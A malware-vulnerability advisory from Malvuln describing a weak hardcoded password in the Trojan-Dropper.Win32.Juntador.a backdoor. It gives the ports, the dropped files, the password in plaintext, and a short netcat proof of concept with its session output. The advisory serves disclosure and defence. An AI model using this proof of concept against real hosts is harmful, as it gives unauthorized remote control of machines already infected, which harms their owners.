Trojan-Dropper.Win32.Juntador.a malware suffers from having a weak hardcoded password.
f0715f4b553050bdd7473912150acf94Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f28e866ce2f99013a66b015f6a7f31a8.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan-Dropper.Win32.Juntador.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP ports 7826 and 13013 and drops executables under the Windows dir. Authentication is required for remote user access. However, the password "sexjerx sexjerx" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: f28e866ce2f99013a66b015f6a7f31a8
Vuln ID: MVID-2021-0259
Dropped files: winvxd.exe, IntelMouse.exe
Disclosure: 06/23/2021
Exploit/PoC:
nc64.exe x.x.x.x 13013
pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
dir
<.>
<..>
<0409>
12520437.cpx (2151)
12520850.cpx (2233)
@AudioToastIcon.png (308)
@EnrollmentToastIcon.png (330)
@VpnToastIcon.png (404)
@WirelessDisplayToast.png (691)
aadauthhelper.dll (154624)
aadtb.dll (954880)
AboveLockAppHost.dll (252928)
accessibilitycpl.dll (3804160)
accountaccessor.dll (215552)
AccountsRt.dll (363520)
AcGenral.dll (2393600)
AcLayers.dll (372224)
acledit.dll (9216)
aclui.dll (5388800)
acppage.dll (68096)
AcSpecfc.dll (471552)
ActionCenter.dll (261632)
ActionCenterCPL.dll (541184)
ActivationClient.dll (30720)
ActivationManager.dll (444928)
activeds.dll (222720)
activeds.tlb (112128)
ActiveSyncProvider.dll (1546752)
actxprxy.dll (261632)
AcWinRT.dll (33792)
acwow64.dll (38400)
AcXtrnal.dll (87552)
AdaptiveCards.dll (38400)
etc...
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).